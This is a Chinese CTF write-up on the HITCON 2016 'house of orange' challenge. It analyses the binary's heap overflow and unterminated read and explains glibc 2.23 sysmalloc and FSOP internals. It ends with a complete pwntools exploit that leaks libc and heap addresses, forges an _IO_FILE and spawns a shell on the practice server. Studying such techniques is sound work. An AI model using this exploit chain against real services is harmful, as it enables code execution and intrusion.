Hitcon CTF 2016 - house of orange 做题笔记

前言

house of 系列是glibc高级堆漏洞利用的一系列技术
从house of orange等开始, 发展至今已有20多种house of 漏洞利用方法, 并且未来还会有更多
现在先研究研究house of orange, 另外今后也会出一个house of 系列blogs

CTFhub和BUUCTF的题目有差别, 就按BUU来打吧

分析过程

houseoforange_hitcon_2016$ file houseoforange_hitcon_2016;checksec houseoforange_hitcon_2016
houseoforange_hitcon_2016: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
[*] '/home/pwn/桌面/houseoforange_hitcon_2016/houseoforange_hitcon_2016'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开
add函数, 会输入price, name, color, 有add次数限制, 只能add 4次

int add()
{
  unsigned int size; // [rsp+8h] [rbp-18h]
  int color; // [rsp+Ch] [rbp-14h]
  void *struct_price_name; // [rsp+10h] [rbp-10h]
  _DWORD *price_color; // [rsp+18h] [rbp-8h]

  if ( cnt > 3u )
  {
    puts("Too many house");
    exit(1);
  }
  struct_price_name = malloc(0x10uLL);
  printf("Length of name :");
  size = readin();
  if ( size > 0x1000 )                          // size <= 4096
    size = 4096;
  *(struct_price_name + 1) = malloc(size);
  if ( !*(struct_price_name + 1) )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  read_name(*(struct_price_name + 1), size);    // v3[1] = char* name
  price_color = calloc(1uLL, 8uLL);
  printf("Price of Orange:");
  *price_color = readin();
  print_color();
  printf("Color of Orange:");
  color = readin();
  if ( color != 56746 && (color <= 0 || color > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( color == 56746 )
    price_color[1] = 56746;
  else
    price_color[1] = color + 30;                // color = 56746 or 31 ~ 37
  *struct_price_name = price_color;
  structs = struct_price_name;
  ++cnt;
  return puts("Finish");
}

show函数有两种输出模式, color在31到37之间是正常, 56746是特殊模式

int sub_EE6()
{
  int v0; // eax
  int v2; // eax

  if ( !structs )
    return puts("No such house !");
  if ( *(*structs + 4LL) == 56746 )             // color == 56746 will printf \x1B[01;38;5;214m%s\x1B[0m\n
  {
    printf("Name of house : %s\n", structs[1]);
    printf("Price of orange : %d\n", **structs);
    v0 = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *(&initials + v0 % 8));
  }
  else
  {
    if ( *(*structs + 4LL) <= 30 || *(*structs + 4LL) > 37 )// color can not beyond 31 and 37
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", structs[1]);
    printf("Price of orange : %d\n", **structs);
    v2 = rand();
    return printf("\x1B[%dm%s\x1B[0m\n", *(*structs + 4LL), *(&initials + v2 % 8));// color in [31, 37] will printf \x1B[01;38;5;214m%s\x1B[0m\n
  }
}

upgrade函数, 则是edit的功能, 重复add的逻辑, 并且跟add一样又次数限制, upgrade_cnt > 2则不能继续执行, 所以总共可以upgrade 3次

int upgrade()
{
  _DWORD *v1; // rbx
  unsigned int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]

  if ( upgrade_cnt > 2u )
    return puts("You can't upgrade more");
  if ( !structs )
    return puts("No such house !");
  printf("Length of name :");
  v2 = readin();
  if ( v2 > 0x1000 )
    v2 = 4096;
  printf("Name:");
  read_name(structs[1], v2);
  printf("Price of Orange: ");
  v1 = *structs;
  *v1 = readin();
  print_color();
  printf("Color of Orange: ");
  v3 = readin();
  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 56746 )
    *(*structs + 4LL) = 56746;
  else
    *(*structs + 4LL) = v3 + 30;
  ++upgrade_cnt;
  return puts("Finish");
}

第一个漏洞, 因为upgrade的时候不会检测当前输入的size和之前的size是否一致, 所以可以堆溢出到邻近的chunk

更深一层继续分析

ssize_t __fastcall sub_C20(void *a1, unsigned int a2)
{
  ssize_t result; // rax

  result = read(0, a1, a2);
  if ( result <= 0 )
  {
    puts("read error");
    exit(1);
  }
  return result;
}

第二个漏洞
发现读取name的read函数是直接调用的read(), 那么输入可以不以'\0'结尾, 就有机会泄露指针等信息

漏洞利用

总的来说就是逻辑漏洞, 一个read()可以泄露信息, 一个堆溢出可以覆盖, 并且这个程序时没有delete的, 所以只能用house of orange构造free的chunk
原理很简单, 当top chunk的size小于准备申请的chunk时, 会被放进unsorted bin, 可以完成无free的free操作
可以读一读malloc.c的源码(2.23版本)

...
          /*
             Otherwise, relay to handle system-dependent cases
           */
          else
            {
              void *p = sysmalloc (nb, av);
              if (p != NULL)
                alloc_perturb (p, bytes);
              return p;
            }
        }
    }

...

      if (av == NULL
          || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
          && (mp_.n_mmaps < mp_.n_mmaps_max)))

当top chunk不够时, 会调用sysmalloc()free掉old top chunk, 然后brk()分配空间, 但是也要注意关于top chunk size的检测机制

      /*
         If not the first time through, we require old_size to be
         at least MINSIZE and to have prev_inuse set.
       */
      assert ((old_top == initial_top (av) && old_size == 0) ||
              ((unsigned long) (old_size) >= MINSIZE &&
               prev_inuse (old_top) &&
               ((unsigned long) old_end & (pagesize - 1)) == 0));
      /* Precondition: not enough current space to satisfy nb request */
      assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

总结起来是4点
(1 (unsigned long) (old_size) >= MINSIZE old size必须比最小的大
(2 设置好的prev_insue位
(3 页对齐(page aligned)
(4 (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 即保证新申请的size大于old size + MINSIZE

另外一个需要的知识点, 文件描述符结构体_IO_FIEL_plus及其对应的链表_IO_list_all
通过阅读源码, 可知触发错误时malloc()的调用链:
malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp()

...
              if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
                  || __builtin_expect (victim->size > av->system_mem, 0))
                malloc_printerr (check_action, "malloc(): memory corruption",
                                 chunk2mem (victim), av);
...

          __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                          __libc_argv[0] ? : "<unknown>", str, cp);
...

      if (do_abort)
        {
          BEFORE_ABORT (do_abort, written, fd);
          /* Kill the application.  */
          abort ();
        }
    }                          
...

     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }
...

    #include <libio/libioP.h>
    #define fflush(s) _IO_flush_all_lockp (0)
...

    int
    _IO_flush_all_lockp (int do_lock)
    {
      int result = 0;
      struct _IO_FILE *fp;
      int last_stamp;
    #ifdef _IO_MTSAFE_IO
      __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
      if (do_lock)
        _IO_lock_lock (list_all_lock);
    #endif
      last_stamp = _IO_list_all_stamp;
      fp = (_IO_FILE *) _IO_list_all;
      while (fp != NULL)
        {
          run_fp = fp;
          if (do_lock)
        _IO_flockfile (fp);
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                        > fp->_wide_data->_IO_write_base))
    #endif
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
          if (do_lock)
        _IO_funlockfile (fp);
          run_fp = NULL;
          if (last_stamp != _IO_list_all_stamp)
        {
          /* Something was added to the list.  Start all over again.  */
          fp = (_IO_FILE *) _IO_list_all;
          last_stamp = _IO_list_all_stamp;
        }
          else
        fp = fp->_chain;
        }
    #ifdef _IO_MTSAFE_IO
      if (do_lock)
        _IO_lock_unlock (list_all_lock);
      __libc_cleanup_region_end (0);
    #endif
      return result;
    }

_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查, _IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()

所以利用思路就在于, 劫持虚表的_IO_new_file_overflow()函数
虽然可以劫持_IO_list_allmain_arena+88, 但是不能完全伪造_IO_2_1_stderr_的内容, 所以还得实现间接劫持

先看看_IO_FILE结构体的各个偏移

_IO_FILE_plus = {
	'amd64':{
		0x0:'_flags',
		0x8:'_IO_read_ptr',
		0x10:'_IO_read_end',
		0x18:'_IO_read_base',
		0x20:'_IO_write_base',
		0x28:'_IO_write_ptr',
		0x30:'_IO_write_end',
		0x38:'_IO_buf_base',
		0x40:'_IO_buf_end',
		0x48:'_IO_save_base',
		0x50:'_IO_backup_base',
		0x58:'_IO_save_end',
		0x60:'_markers',
		0x68:'_chain',
		0x70:'_fileno',
		0x74:'_flags2',
		0x78:'_old_offset',
		0x80:'_cur_column',
		0x82:'_vtable_offset',
		0x83:'_shortbuf',
		0x88:'_lock',
		0x90:'_offset',
		0x98:'_codecvt',
		0xa0:'_wide_data',
		0xa8:'_freeres_list',
		0xb0:'_freeres_buf',
		0xb8:'__pad5',
		0xc0:'_mode',
		0xc4:'_unused2',
		0xd8:'vtable'
	}
}

其中_chain会给_IO_new_file_overflow提供链表的下一个入口地址(指向_IO_2_1_stdout_), 那么利用思路就可以采取劫持FILE结构体的_chain域, 指向伪造的_IO_2_1_stdout_
而调试时会发现, &((struct _IO_FILE *)_IO_list_all)->_chain地址同于main_arena.bins[11], 所以为了控制_chain, 就需要控制main_arena.bins[11]

而源码中mchunkptr bins[NBINS * 2 - 2];(bins[2*N - 2] 和 bins[2 * N - 1]分别对应链表头和链表尾指针), 则arena.bins[11](N == 5) 包含small bin 0x60 chunk链的尾指针

    struct malloc_state
    {
      /* Serialize access.  */
      mutex_t mutex;
      /* Flags (formerly in max_fast).  */
      int flags;
      /* Fastbins */
      mfastbinptr fastbinsY[NFASTBINS];
      /* Base of the topmost chunk -- not otherwise kept in a bin */
      mchunkptr top;
      /* The remainder from the most recent split of a small request */
      mchunkptr last_remainder;
      /* Normal bins packed as described above */
      mchunkptr bins[NBINS * 2 - 2];
      /* Bitmap of bins */
      unsigned int binmap[BINMAPSIZE];
      /* Linked list */
      struct malloc_state *next;
      /* Linked list for free arenas.  Access to this field is serialized
         by free_list_lock in arena.c.  */
      struct malloc_state *next_free;
      /* Number of threads attached to this arena.  0 if the arena is on
         the free list.  Access to this field is serialized by
         free_list_lock in arena.c.  */
      INTERNAL_SIZE_T attached_threads;
      /* Memory allocated from the system in this arena.  */
      INTERNAL_SIZE_T system_mem;
      INTERNAL_SIZE_T max_system_mem;
    };

结合这点, 伪造_IO_2_1_stdout_块时把bk设为0x60, 再malloc()即可把块地址写到arena.bins[11]

另外关于_IO_str_jumps不是导出符号, 所以不能直接libc.sym[’’]查找, 这里可以调试确定, 也可以IDA定位_IO_str_jumps后的jumps表, 这里采用第三种方法, pwntools 脚本(本质是自动化调试确定的过程)

IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
    possible_IO_str_jumps_offset = ref_offset - 0x20
    if possible_IO_str_jumps_offset > IO_file_jumps_offset:
        print possible_IO_str_jumps_offset
        break

当然也可以通过leak heap来定位vtable, 这是另一种形式的伪造方法

整体exp

from pwn import *

url, port = "node4.buuoj.cn", 25600
filename = "./houseoforange_hitcon_2016"
elf = ELF(filename)
# libc = ELF('./libc-2.23.so') # local
libc = ELF("./libc64-2.23.so") # remote
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def build(length, name, price, color):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Length of name :", str(length))
    io.sendafter("Name :", name)
    io.sendlineafter("Price of Orange:", str(price))
    io.sendlineafter("Color of Orange:", str(color))

def upgrade(length, name, price, color):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Length of name :", str(length))
    io.sendafter("Name:", name)
    io.sendlineafter("Price of Orange: ", str(price))
    io.sendlineafter("Color of Orange:", str(color))

def pwn():
    build(0x30, 'ffff\n', 233, 56746) # chunk0
    # heap overflow to overwrite top chunk size
    payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(56746)
    payload += p64(0) * 2 + p64(0xf81)
    upgrade(len(payload), payload, 233, 56746) # size must be page aligned

    # sysmalloc() free the old top chunk into unsorted bin
    build(0x1000, 'f\n', 233, 56746) # chunk1
    build(0x400, 'f'*8, 666, 2) # chunk2
    # leak libc 
    io.sendlineafter("Your choice :", "2")
    io.recvuntil('f'*8)
    malloc_hook = u64(io.recvuntil('\x7f').ljust(8, b'\x00')) - 0x678
    lf('malloc_hook', malloc_hook)
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    lf('libc base address', libc.address)
    _IO_list_all = libc.sym['_IO_list_all']
    system_addr = libc.sym['system']
    lf('_IO_list_all', _IO_list_all)
    lf('system_addr', system_addr)

    # leak heap
    upgrade(0x10, 'f'*0x10, 666, 2)
    io.sendlineafter("Your choice :", "2")
    io.recvuntil('f'*0x10)
    heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) 
    heap_base = heap_addr - 0xE0
    lf('heap_base', heap_base)
    
    # FSOP
    orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
    orange += p64(0) + p64(1)
    orange = orange.ljust(0xc0, b'\x00')
    orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)
    payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(56746) 
    payload += p64(0) + orange
    upgrade(len(payload), payload, 233, 56746)

    io.sendlineafter('Your choice : ', '1')


if __name__ == "__main__":
    pwn()
    io.interactive()

总结

house of orange总体来说涉及的底层知识很多
逻辑漏洞 + 堆溢出 + unsorted bin attack 泄露libc (+ 泄露 heap) + 劫持_IO_list_all + FSOP

只能说想出这个漏洞利用链的人真的把glibc源码给吃透了, glibc源码就跟家一样熟才能达到如此超凡脱俗的境界叭
我前后打了8h真的太顶了, 以后还是得多读读源码, 代码能力太弱了qaq

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值